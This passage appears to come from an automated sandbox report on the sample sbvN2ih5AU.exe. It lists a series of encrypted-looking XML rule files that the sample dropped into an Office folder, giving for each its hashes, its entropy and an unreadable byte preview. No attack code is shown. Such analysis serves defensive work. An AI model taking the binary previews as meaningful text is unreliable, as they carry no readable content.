Preview:	<?xml~.,/G.S...uAd....c....F\.#..}.@A...TK....ij..B.B...X^Q.>.....B..].M?z.t_...y..39.B..O..`..~.u.\|n.`.~....4..g4;.h.%.'.....A._.X-.......s..G...@V`.uS..?... WM...`.n..O.-4v..#.?...P_........s....;`Bt.9..b.hI.`..hsy..O..!8.d.....>].i.(.]&.....:.f...,$...6..#>S.B.......aj.DS..I..W@x.&.Dz.M..].T#.....@!ur#.P.......l3...._.2...v.....x>.O.i....R?!<<F...kjlXP:..`M4.)}.H..>/..E;)..Z.....2`.&..n....0.J.r...}wGt.K...fH.M..AiBn.N.,...G..n.`roq..HT.........';..}...\|.........N-..zOa.l+C9..K.../.....n...U8.oV..}..dD{......W.2.-.7#qe.X.~2...\|.Ly.S..8H.C....F.........y.."g..-..... ..xu..He57......U.Q....8...c.(.D.._...Cc..F.:Z.......P...p(.p....rB..p......6.-.xV.sdv...N.Mhg..1.q.}..h..M.EyIf%Cc?A.p;G"E.qtt..xE.@.T.....e....l\|.9...v.b..b..y..wJ.t..t .o_.gf.U..#lfS.I.*fp....(.....y..B.,%.......R.e.W...~....L...+.kYs......v....k.0.Q;......gL..K......l...9c...g[.....".&..S....=&.@r..(..k7..L,......c}k...u .7..IG.s.Q&n!.8"..0...Q.zV.Q......<.....T....T

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10450v3.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1387
Entropy (8bit):	7.856935830323419
Encrypted:	false
SSDEEP:	24:h+crMaldGoOs7ke+oMA7MPU7hbPSivawcE7s3ztU68I984S/zb3or5u9M2bD:YcrMabGvYL+e7MPUN/n43GVndzb3or5C
MD5:	222A0839CFD7E0C7E294457FBC955170
SHA1:	1853DB9C478933752765881B8E88C962E6011529
SHA-256:	F160FAAE9C9CF0F334B5811CA3838D2D5F9E2996DD2F800C6FE3C708FA3EA2FF
SHA-512:	A09AB9B12DF1CC639E03046208D5A14D96E665D354BA9F4E5B148C0B23BBA09292998EAB8338AC77B4926D927239DCB9E02DEDC4691307999C5272201194C8BB
Malicious:	false
Preview:	<?xml.j....B..zm$J./.Y.`@{..9P.?6\|.K.?[.t.0k..V..W.{P....rR..3.:..%.;C.gG9v{.....=...zL.r.O.U.X..,..;.:....v...c..v...i..w80...z%nDHg..I.IC_e.['....{}=of.3..e....4.0......k.....=:..,..0.d ..l....4.w.".".P.Q..}.+."..o..R...!......g.o...Z\..)."...y.;..~...D..7.>\.}.IHs....'iw..:.6.......n3wu!{.\.\|{qAf...YM.......b.1V...e........%..`......V..j.......z..(^...B..L.5..=....T.......9..l........xJUkR.>-.d..oz$....I.......7.....}..$.t2.n...v.-...KM.s.:P...MFxF...D_U.w$.....E.?X\..Y.@3H.2...?W'......`....=._q..U..Q......j:]W....c-.T.w0..k...)...I..Y[u...JU..[I...gB..r...X.x.......W...V....I..HD^H8Z.he..g.!.......tF.....`.d0..%.....R.{..2.`qZ..4.......e.[..~..$S..3/.:.d...././#j.....%..U..O....Cu.(<,@w....W..N....K..+..d.......9.....6.H,..#w.2..K..2n..\|%...m{0X...{d.1..8..2.O{W.5.M.C....#.?.F.....k...H..g.....32S..:_Mb..w..D$..m..N..5..X$.rT..cmz.V.}......q. ~T.k.O.?...c.M...(.L.@.<..N...,........Y.;e.Z!.5g.+....+.o..>..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10625v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	3024
Entropy (8bit):	7.939044368204095
Encrypted:	false
SSDEEP:	48:Toe1mqQLkBlw5IR5WnIKU48DiaOSKGy22Zzk3ycYU2GS54nfzxcIQk1wlD2YNSsi:ToqQLkE5/nIDVulABleWfzxZpcD2YNSj
MD5:	D4E47FC61887EC1F88DCA8C9B5432D5A
SHA1:	36C3AA1AC379987B5A7D34A42FF77BA70FA37A63
SHA-256:	95E165C2AA0E82BF786FC075CC09F9CB9835C2654A978140BE1EE8879AD4A99B
SHA-512:	4E0C27960967C8DA162D7F73AC66CAC682682627DB38C24931B3F7E574E4EDDEED98990A45A2C554DE2F50D78BA7706281F00D6BB84CA5F4626B364575374C8D
Malicious:	false
Preview:	<?xml.U..2.W...Bz6...G].m.....X..Z...%....p.R..>dC./...[.9....H........1h..U/}\o0;...pbT.H0.F..5....1....K..{..XCM.c(/..Ge. .Q...^..r.....$.)HB.7d..YkAi......B.ef.C....Q...kA+F(#%.f8...E.............n...L.<.......u.ma6T,.6Mt....o..w...i.n.D.......c..T{...}......"z.T.f.#.\=.g..Bm.B.6.7.Vi.....x.C\|.$4.B2!..#.w..P..!-....M.t.#.!..;....7+.....!hu......q.uli"T.y...X4.(.m..x;.u..M;..l..k1\..j........V.p.5tR...).)..'.. '.5.J....[...Ci]....Cy.t.....j..l..o..-..=&.....3..7.i.O..........~N....K....A}...WCm.6.=.....^..Km.O.Nr8.3i&.......0.H..b.$4t.....z..s7....`......'.^.g.@!......].x...SKc.8xB&.31F01...6..q......cG....5................2.......}..l..b-...P.....f....y.Q.\|T;;.2..?...........Q...<..2.p..18.E..(..!v...I$.P..{.U.v.r.n.y.]..n.L..E.P..r........C.`%.;<Vh..Z...8....j...?. .<.c....S..<..D..A..?.;um..~.5\|...[.......X...,..}..`.f{..V].@..f:y...7p.)...........9V.s..d2....^...p.k........It1a..P, ..M`..`_.n-.5.d........y.<]...."PXW:'...6..)P.*

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10626v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1675
Entropy (8bit):	7.88646952238694
Encrypted:	false
SSDEEP:	24:vHM+9JMH+etv7+/ZYxoy13jaEM8DiE17iEutjYYLt/jNM3XQbUv2yhnKc2bD:v76eetT+RY+m+EM/o70Lb3ynKD
MD5:	7C24AF46125B90D69C81E18EE4FE797D
SHA1:	E7A4D804668A5F0124986BC32478DBE313D71081
SHA-256:	A072C5B6A8200991C454CE072DB29BF2C44225B61C327B60632BAAF2013A3011
SHA-512:	EB6D98701C7A2129F701249DC8AC596FE97474DADD9CB3D7D89D4C2FEFE20D8545CBD796058D04616B0DCE7680477CDC39FAC4BA1006CA1811CA427EBCB6B932
Malicious:	false
Preview:	<?xml ..Y!i..hhQ.k...-F.EA...Z..I....]...&.. }...._.wC.8.m.A.L.7...u...\|.qqG.e......D...x..0?d...B.....PO.[...b.{.'....'@.q...-... >.Y<.tG:...f8({.O.".\..1,R)G...46+`.>+.]%}....T/..\...\:.$M.....>...rsF.w.Z....".wR.oU.,'../....z\|....O...i..R./e....I....f.0E.".w.C'.2....lq;..=..f..B0..R....,.....@4..MX.......0..6l....\2.fF..s...c.a!...]V.fJ......2:.-A....Z..~.3.v<..4.,........y...x.R...f...G.m......De.........S....W.9dw.s_.q...c+......G.E....d.Br._.6aJ....D.:.U....&.>.....S.k^H..v.....U.:c....h.S&....k...L..h?...E..Fo.A.8-8...~q*.~04Y........Mh(...i..%.)b.......m....J...0...).w.I....zOL.k...V4......'S.....dU...`.O.. ..`Le.c.2..f.4..^L......S....X.._u.[......[.S..mI...6...5.......2<....V..$=..u.47.Jf4..m~O..h..+u.{......"..f.-......5).8...E. 3..7..5?......x_-{..hl@......r......jI3.M.=.. ..@1.^."..i....$.`..I....[y.....kK.N.}...=..u.L...>...O\|....... C...$....y....z5F......d.@%....p.Q.\3....=..\.A..l;$............>

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10627v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	2113
Entropy (8bit):	7.902057006719089
Encrypted:	false
SSDEEP:	48:ScaQJQ20ufipNjaGNohHw9DNSdiljUfrD:b/BH0NjnNohQ9RpUfH
MD5:	75B8BB4296C2D68FFBAD520F1AC7EE28
SHA1:	FFF74103E2684679A31ED0ADD5C56493B2C7B673
SHA-256:	8BA6253DCF7FA3C03DAA95B0A3CD842A348AD65288250529460877422EB26EBF
SHA-512:	65EE3E3248AFC9A1CA9F2E6A70DCC822DEE3A9E9C7152F00BB5490AA1A9EFD778CB727EAC66E997F4CB69C039E21DF9EC99ED301388231BA8DF4CF4901AB668D
Malicious:	false
Preview:	<?xml..[....c.......fryS..1.s^.E...1G..h0.(..6p9M.....f..~xw..d.Iz..q.e.c1.$rW.O2.G."I....m5.....O....{..Y"5.U7][..+5;....yY..Y.i....2..vf.o..L.;-...../.....<........"mvs.9q...3.Z.o!....3........W.og@...I.....A'....L.<......D..je...\._..1......u..o9...t.#..3..5..>p%.UH.-.....sRi9..S$...:]6^...b\|\|;.......`..t........O.#....}WmW.].......,.@Xm^..)S....1.B9...X......5....=l....+..)..._J.b...17.#.d.P.LB.9o.....i.......x.c..=..f..5.%.n..J..9._$. ...f.8...yO...... ...Z............F.).Q]...M.fn..U.U..~...g.....4.1..#..3...@....A...T...C............W`n......0.F.Xi.......(G.....p.7.x_dZ}....Q..V.P....p.fb_..~..~.0.....A.~"....m..aT...$iW............S.......#.....5\.d..\...Q^\|......l'.K]..~.QM\.<...uWu>..b...!z......f.3....`..u...@. h.q..M...1.bd..../.........b.m..4...../+.6.J......W}.........Yv.D<.~...8g.......*<...../DY.?......-..A;[.a.B.U3...5...V(Ok..b.B.+4.-..........,..7.}.h..,aG.i......g.l=[.....N...n.F`v.. .H......t}\|>....<..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10781v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	813
Entropy (8bit):	7.764227886202406
Encrypted:	false
SSDEEP:	12:cUAZRB61Q9DVGLn1lqH3nGMQQ1Sm/5lusNFpjLpEkGDSMC7AqxYz4FSUdNcii9a:F18x9H3biAlXFVLprVbAr4o2bD
MD5:	D64AF1A7C5833BB4F152333DB3372A51
SHA1:	72BFD9B55C3FDB3F6CCAA8FEA89A85B05D6AE1EF
SHA-256:	66A91EF1CB4084A4DE3AA4E9DFF178CBDC0DACB469C0F3ACBAD88312DC4EA4F8
SHA-512:	14ABAB06D6E8F82205413799603F5ED40D60E9707018FB30F0B81319F3E2695FFDB05E11FE4CF35270A1D564DBFF6A209D662A38DE061A474E9AF523D5735E47
Malicious:	false
Preview:	<?xml!F....k.......)..P ...ad~..y.gF..DXW0.......+n..[.....I..Nr.K...N...$....^...0..'B......?z..BQV..D...ZO..P..A.f.}[t..:[...:kZ.Y.UWw.."..m4.K........w..T-...`.....+<...}.(.Hl ........&0.L.?k.h.wv.....z.GD.m!q.V.E.GMy.......Ol,o..I.<uN#....@.t...._......%o.X0q..i..J.-...8~.a.^.T........./..oN.#.-&:.Hz..%...wR^....{.6...7..&..^.....nv.....Ha]..j. ...ZI.G....:.R.a.-)...r...&ul.....'.L..t.:$...1.l[..zK..D/...j....I N............v\|.\|N^s .... Y.y.x.'.o..p...g..=......>...@.O.k,.<..d.....u.K.M.......S......2..Wp.I..Y..i..g..}...4..2TL.C....MT..\.l..KA{)W....1mo......9...,.hM..E.........e..k.EE..E'....dB...{.....l....1>=.p..?...y...g.....A.c.4....t.`...%C......t..G....[3 ....n...!......g...mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10784v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	2070
Entropy (8bit):	7.908165527786924
Encrypted:	false
SSDEEP:	48:cbNE1wA0XrrohJ+mnr3l5XeXeIfpRQOQJEGOMVrD:WG21foVr3jXBKSJEGt
MD5:	4BEF835845B3E4C06A92830CB53EC913
SHA1:	587A4F57C7E3A0A5141C20146FA96F4C02563329
SHA-256:	65263B0C8F692B204A6512F232A31BC5D7C97992BC2318B8FA39459265D9C175
SHA-512:	E0D1AA416050E1CF267B37244E5F613E91AE558579DC6D36C39DFF4C999725674BAA97639C55C4B7C98F4C791FCAB9C76F91084A005E41037DEFC3F49AF338E0
Malicious:	false
Preview:	<?xml...'bS......y..-....>f.X...Yx.....i.T!...,.i...m.@YO..iu.[.P..T.pja..O..p...=."L%V..t.r......{.O...0$.-~..4b...Iq.c.................V...pd.....6....?6.n......L..6..N.]it ..T..v.....@. ._.;D.......q8...Uc6. ...G..........k.7U...<.!X..bi'M..f..w..Q.w..ll.0r.....4..bn..5.T......2.<u.-.W.^.uXC....]y3..#1.\|e(.w../<.......X...18.'M...>#.F....<........hXnlnD.y#....I1..0....i3p........uQ...y.TM...).v..e2.b......'....BK.?{.`U...........S...g..`.t...O`..W....`.. T..1..)o.@.%....:_..T.5IU.DgM...Y..........y....O........sN.O....7..]..3.~....-.2...~.>$.=..z[..#").t.yN..d.uUd..,...0(<.....sK.s.=/<b..O .....vnV.k....rp..AN.a..Vl..".V=....+/TR].Y.+.p.%.........M..ree_.T..E.....\|.Y.F.o3]$\...~l.,V.c....h.#<$7.K.N.........}.d..$C.y.U=.uF..U.Z....O0i. Eh.........L.7.C..n.....=X.{e.ak....}'..N.q...].....h,...r...Q.m.p..sh..c+...@B....\|...t.r..B4...{.3Y./......p.i'.=z.Gc.]H.......s..<.w......&G..Sq@(}...(~6.. l}.:....C.O..../. .?.5L.s.3gB......o

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10800v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	789
Entropy (8bit):	7.683553796570878
Encrypted:	false
SSDEEP:	24:iEmwAHBZEnHBDhwYtN36cJfEWGpmWy/I86hCvj9VD2bD:vmwA4tRtN3fOWAy/I8OIwD
MD5:	B0560809C481AF4860FF338AD55097DD
SHA1:	BDEE4B47D0B3D8BFDF26C0A83378762F25F18E81
SHA-256:	0F6ED2604B35B46D1EDDBEB3C6514B674EFE95E454DC8A98E4F75A9F14FE7B96
SHA-512:	E31CFAF766749C692A2D5316C2DE22EE97C211E35D51009FA2FFE82BE814C977BB74E39CD4A03D39447D8DD07ABE400966A1981BCC32F46776905061A8E6C468
Malicious:	false
Preview:	<?xmlX..;.r.....XL..vX.@.x..^.....?+\|.7-....7S...:sg...U..v_u..y...a.$.y.4...". ...".LFLX..O...&.8./..P..lP.S..;..W....>.0).....=B/,...Z.@X\7..#.\.K...3...1.b.w.3...._..U.i....s...aSybM<. ..I...,M......>.3.i..V..`e.....QM.....8P.....4..".Z...`....0.t.......<.r.'..Ph1y3....1*.jRN.....x.^i..FR.g/.~}..:.Ir!....ja...y..85...r....XC.sq......w..K.....a.5..+w...E.!.r.H......zte......#M.......Gt.<........{r8..R?.C..O.eL...u..8(X5.Mo.....$...A.G..B..$........$..f>W.i...".j.KI.Tl;sUF.\#=.&.....%.......i.5F2#:..\.t....x.P..._.ts.6.........Ks....... ....0...1..U.... .......~.5o.D..a.0R...MC....j..[.\.........y.....k.8U....l.....8d.S.....y.e.O.A!:.{[...;...1...M...\|.0...p..mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10801v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	3017
Entropy (8bit):	7.925968343157231
Encrypted:	false
SSDEEP:	48:+VEifhVX6RvbMs5BZ9ROhnnPtA9afdAAuy6b+RzOFDaMMe2n//6FOkxx9l2bidlD:iHX6RDMgBZ9cRnFYGAHD+Rap2nX7+fZ
MD5:	4FCB24B00FA5D4BA0315D8D2FF188631
SHA1:	FC25D6C470FAF291010973131EBC1D91E823F76D
SHA-256:	AF2BEBD2DEBB1C0A35F27959AA48CE4C9EA0F28312A539038E1FC50E2914968C
SHA-512:	2601865E77214F36DD43D85979814BB32A34017E54F4C37BFDFE7812E0D032BA1EAD22C3B3FFD12DC1FB544BFA53526B1A8A164999A98CF745530568AF8B5FF6
Malicious:	false
Preview:	<?xml....:()..-...R.x..3..5:..........f..]..t$]....{,.g.......?DV.p...A......].I..]..~7BB..p.T.sPn._l..S.a.<....V...^.AyT.k.w...O.tl......j..>.'f....v/.~y\I3.O.F'Q.L..!s.....2uR....eA..dKC..zb6bE..r.5^%=?.........b.'+.p&.6?.r.......2.!H....:g` _...V{...6\|.E....1....."...m..../Bwi.wE<4+.evt.........K.9.....j........."..s%.2....$r.~......i.B..~..4.rH.....g.....\^.0t1..g.+..>.!e..m..?.MSW..a.I.U.X35.....N..!.F...N....HZl.l..j...6......[>B....%'..fgc.gJm...c.09.S.....R.<.^s%...a.E(.0I.ABA~.......e[R.......hh..........2Q+.....tf..F......p.y......V.:-...v`?..{.f......5.F...Sf.R`..4j.........A4..p.y...g>.m8`V...J.S.6..:..k....J?.t.$...Y..V.gtn...>.zG.=ZM.....G...!..g.m,.6.r.k.......'...B..O.......C.&.U...?Ie.V.+...........m..}..z..c...,8Pr.Ca.......W'ZizQL.#F.On*=...k...U...m....iZ......4.g.-s..X.S...7...^Q2%cR.+.dw~K....X.z..4.kh...o..).I..GG..h...[.....aM?C[6IBJ..".f..f....n.R. `.lA6......1.5....`.ts..=kfy..:.......k....<.U..A.cZ.1j..H>..1....l.>

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10802v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	3017
Entropy (8bit):	7.942798163528806
Encrypted:	false
SSDEEP:	48:/ei2SQe0Z9qbD+xLCxo2rsJPYDX27T/vIQ12pLJOdBkroD7ThuteG2D:WMd02bKNCxo2rqPYDs7vVsaqovIa
MD5:	A599ACA0124EB4E578189E306C8EA8DC
SHA1:	3EA4423FCCD1A1911ECD22CEE80DE5D7A07A7224
SHA-256:	7643CCE9C0BC32D6FA1F77114E41564F4E47EFB58453D21359E6F3658EF1E28E
SHA-512:	F9029DB4EC0F825EF1DFD7B63D38B641766D380FA6A52DE4A7A98789F6A0F6E44F1EA718DC813BB050A3BBFB87E80ECD05CABC5CA5C1CBECCAC5BACFDE199158
Malicious:	false
Preview:	<?xml.?..Ha.<}..h...].P..j...Xd0.=@.xG.....da..TN...mmr.]...U%.y0...%....O~.W..k...D.s.....Q...n.-%..Z.r.....M.\....%.Y?RW.....$.`....8Y.8.......6...c..k.;.\..oP3.}ee.....@.Qe...L.,..q.;...k[.k\.M.11........S...6.`Z.x5.zJ, .._d.....Z.>G.k..v..8U.k_.`...)......./...Y.F^......e...K... L...... ..m..2.>S<.8..PP...e.X..Z.Q...8 +%!.W........Aa..:.qN.../...Cz3...ALX...).B.....@...r..&....U.\|j..`...Si.W.hi...btl..8.r....Z.4...72=.6.9.b.:.....b.v.jI.$'\..>(........8....u[.eL4..".6u.qvv.5s.)...w..{.....Z..'.^}!c.6.../..%.;....i.#....:......2.%5....Nj...j..).u..A....+W...v. ..k..&.[P.($...B.<Rc..U.Q.2E.m.&.#.9.....wd......2.8..i....^.h.>..v....=t:4...e.2...H.2f<[...%.bZ.....d.......]=T.".}.7p...@.U6..HR../...oDt.2W..\|.z..c.m.\..C.k...~'...c..J.3.}p.V.PP.^..._....h..=x.[].....f_...8.\'.n.......bG~I6...].......&..@G.6.u.-........Z....W.w...jo..2....X..3........>./.H...l.N...N_V....}..`#..+)^#..gB.i..&.>.....Gc.....n...e....*f...h

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10803v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	4639
Entropy (8bit):	7.961771852285317
Encrypted:	false
SSDEEP:	96:T/maBr0pAT/PPd+/L/15raelc62LKnvA7IR1ATRQWkYH:zmaB42bnd+/LvQ+qIlM
MD5:	FB2AE2687B877C07CE11DD0ABEFF0BE6
SHA1:	5D5B1372CE48C09CE70CAA7CB1BA2400CD01EA10
SHA-256:	A8A329E882BD82EBE9EF999A5EFF43FC23E224B07F350AA72796149D88FBC583
SHA-512:	D2817245DC606E554E95B0AF7157C4AD5CE387C36098E24DFD3BE28C5545C9AEDDF3863052FCA27F2FB085E49AD9C799999CDA42BDADA543316EE8E76E1CAC86
Malicious:	false
Preview:	<?xml8.mA..e0.....#..m..,..<.S.+E.........G.pj&..C...0....t...`..^...^W$."...._.`.~:...R...z...lf......C0{+...0]!.^.i...J..e....L.\o.I.D.E....4.R....&....{....t..m..A..lMx.7../L6\| ).6..:...M'w..j.=.itN.R.}.0x4.Y..k...].0.7....g'..@...w`.n......l$...:r,@.@J...\..S~......d.VW......!e...S.SK5...$.......B.N.o1..T..h...........r..E.,.U.=..:.E.....;..-l#."K..eg_.....}w"l\|.6...x..(N.?dr......^...%..........<s.....O.h.M...........E.%...}..T.]9sW.'Hq.-x......j...M<\..e2(.m.;.8[G....b..L.H'..~.6..3X.~..h.M...H....t.a....n(V...^...Q."/..... n.U.!/.B..c....v..~.L=.S.].....6$aE..w...%..T.F2..o....."6\.e/\U.....2Q...... R:.M&~W.t...#.9..Cs...h .<.u.N.\|......IE3.(L..48....?......2g.p`oj.A ...Wk.V%8,.W....(gp..v..$..8..U..o.\..."%.....;.3K.......F...Hb4._@lQ..sq..d.....\2..I....E.....F.=.\;#.....i..FY.A............./%MF...c..~........[0#F..!a..O..q..r.\.e.Su.....EZP4.D..;8....m].....l..ITX.!.b.9. .9.e..T!M...>...N.e..b{..7.8.mW...=k.!3J{./.bg.C%.........

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10807v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1329
Entropy (8bit):	7.86172799769402
Encrypted:	false
SSDEEP:	24:ukPz7WgA0Y+qgOM/53MYYjzTTSRi7lwXFY79phEFZDaBkVYevSZ0Ad42bD:rPz7BA0Y+qgOM/xMY4TTS07liohGDaB5
MD5:	DF425C9D8E125F60B8A5DF4F82F89132
SHA1:	3588F0E61AFDB4A17F753B810847BACA4C8D8BE8
SHA-256:	E87A1815685C460481E19DA90999AE48CA2AE24991DEAF9D45953850715E6BDD
SHA-512:	A6AD4240AF415107387C45D5108E0F3C9F9E52C2DAB005E37A30AE918C8F498D2435B0F400CD52A7A96BF98D371F38660B21092D101A446AB98C11963AA65B42
Malicious:	false
Preview:	<?xml..4....4....#."..)..&.2a.B.hT8?X.;F.{..w...(Q....r..,.v..@Zj.:. ?.b..`.....G.....V..........y.....>...L.&1./../..j...v..3.,..d.....K1.[.Z....\|..F....&....Es...4..\|&......z..u...L3...O.k.NK,...._@...(o..N..H...R..`.,. ....a.....2+...g..._mW....jWi........-p)...~.20)O...3.{g..m#>..JE40..R........K.L...<..V'..oEb..p..a..C.. .H`........>.n..3.<...1......3...l..EYN<..Cu.N.~G.n.<.Z....ETi:...Nu.g...<[<..2Q.......t..ql...2.Oa2}...q.=D...F6>.N...r.q.&A...N.z.L...t.c. ...b.-ia.IF......z,sd7%.+.......6.7Dju...}.%yiz.b.tB....3<..DX>.ou\|........}...>.g..[#... ....I.d...FYvq.6q.+..".....i8.U..H....Rf<...N..r..'.F3,2. ).\|^S....A..W.o.VQ....m...Kn.~......,....1J.....A......\|v..tao.A."...(....0\|..G......l.`C..T..-y]...:M.{x...3......:..P.QE.}.~".U.{...{#....[s..JB../..2U.......4.FA.X.............c\|.....p.....B6x.i.rN.Lk...........X.l...N......J....?f.R.. xQ..Gg...o....]{K....0..n(t....%...1.."4{Q}....3..n.'.:...F.b,,.\|...I16pn....."......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10808v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1395
Entropy (8bit):	7.861552952893037
Encrypted:	false
SSDEEP:	24:ltG1+XiV46WmD3x19h3ugV0PwuvYDka98N6wNVI04YxIKog8AeOSx2bD:ltG6iqm919hegV3kW98XnVVOieO7D
MD5:	15133226534EB0CFBC9AA6D278D8D847
SHA1:	A434C7D2185879A217F016F33BADE0CA28401E42
SHA-256:	59B43B9D64C27CC68511EE642D1F6C4AE5BF602FDB065C9EC8B3352BF0372D3B
SHA-512:	9ABDA0B267FE9B81BA0A0CCB811FE1E939156A6AA28D11501FD331523429373E9FC3C73B334AE8A1C2FE6E60392A7E5D8B5F62DECB53C9D1BE97915099E34B3D
Malicious:	false
Preview:	<?xmll.D.7.....-.q>......6....H...D.i..m(h}..h...#..m..h..z..j..p.&........{j.~..br.q...(z....2..R.0.8"......'....Q..J..S...?.J.0..S0..qB_.....(........./^..7'......:0......);\..."W&L....n8...1..'[.-F..8.M.$#.....f..I.e...<.k..k....r..>\.F......y@.0c...>'.Y.kj..H...d<._..../....y&C..Q.....q...<1&t.t\K.}.D..9i...M.......k..)j...B .....D..\|.s0..y......"y...et.J...=.....w..H...2\...l.^8.p{........@&...pTa.s.6.C`.\].n..;......Be..J.....\|W3K..e...`.P-..Mbgf+J......</m.-..j.oGE..d....@.........k..6.\|M..\.ai.z.m.....3l+.3.i.i.~\.6.}.......H.@Nr....a.)5.Bx+?..C..K....T...=..5#'-..7U{%S...._..@.....H.!P.U..@....9.....u..kn..6X..b./P...e.@o.#......7o..8.x./..I...Xc.H_.^:D.3....c.@.X.h.w9.....^..jZ.M....MBJ?._y.2W.x.da<...F.^h....5....`t..4l........N.~...!.D.o..t...3.W......?..=;...../."..(.2.."..E.i3.\..k..K],..5U>G4....Vt(...s..K%5.%...2.....).lG..E.8d4.>..&9k...X....V.C...u.%K....{..gNi._.-.??...H...<.q..w0..R.G...u.n...m7....g.2.g.&....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10818v3.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1124
Entropy (8bit):	7.8551713646717465
Encrypted:	false
SSDEEP:	24:dmQ2Mf+e//vKHHJ208H2zMitrnHSfsQnoId5j4eg2bD:dp20HvEHJj8HvG45jvTD
MD5:	68BA6385CE3C341CF8668D3EC0EBFCF8
SHA1:	7B57CCDFA834DBA58033B70976B7190C7EE8D24A
SHA-256:	E3DB0E72F8277601294AB89E8371DFBE012BA17AF88789B49FD38E38B657FA60
SHA-512:	A2E1396B57AA4B4DF2ABA59673DFD2044D854778667DD5A8BED65AA0D56BC4030778B2DE5579BB01826A9FEFAD8FCA8B98FE0B25E1C99754D0AD4446FB6C6D10
Malicious:	false
Preview:	<?xml..%.d;.o......q...@...,..1...C0v.....s.~.Z.X..1E..~....:.4.....xk?XRs#otF.N.R.Wf.p.....W.qg.W...."..7...~.+K.V.[_&v..~.E. a.Y...f.....<..3m..K..%......8]r.z.+?..p..u..Y.7>5b.{.v4.p..1.h.].a..#20p..!.......DiI.H....b.....D.\|..~.(..>...e...O.;oF.p....W..y......A..>.t.2.6~C<M.._.7.....B.1.3...s.L/.SJd..x$d..q.ou.r.!...;I...1...z. ...........U..g.....^........=.#y.?..U...eLS,...{....=Wl.c..8.......@.2.Y.4.....G.u5....{...r...R...D-...q..t..dv..m.Ar:....a7gn.Bn..I...'~.....O..FZ0....&Uc.y...<.....$...G.T..6c..eD...D..>Z]S.rZ.N.m..B.....,?9.4[....h)...=<..XvV...,..WT2R.6.S.f..N..F..^..S.c... ..L.7S`...1[4.K;..h"......./v..;.A.M^..R\|.....A.....0..`...RHk.zn.Ny.C,.2I..Q.<..$...P~...\h.h.. ...^$.BU......X.5.?.U......I.l....AY>g{....`.....CE...7.s.>..L...@>.ia`..&...Be#..\.R..c....U(......+.(....]e.e...Sx....s...pa....w.90.x../..\|...E:..\|..4..n%..N....!0.w....A.Q.......y.....-.'9tY..A....qQ^.......-...1..8.D.........*.....#.@.\]n

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10819v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	8769
Entropy (8bit):	7.978850288884455
Encrypted:	false
SSDEEP:	192:95rZZrsAh1wxta19e9TKpQ7ADNyQ4IvVMJ:9BZyAgxtkB+ONyxIdMJ
MD5:	CD349D935F196E07E95FFD51AE683FD3
SHA1:	E308FCA372D8E08170E0E963713B652869F1E1EF
SHA-256:	0B0EB0E8209F19C354209465284EFAEB7860F0F8DA49CB6E4A2AF52B994F8A87
SHA-512:	59D8A222B6978BBA1C2081A996A149DDB8B1A950341797CD1A8AB187BCEC757AF28D031A50974754F6DDFA28C08D5E1812F757C169B2D95A9B38FD4786A7E272
Malicious:	false
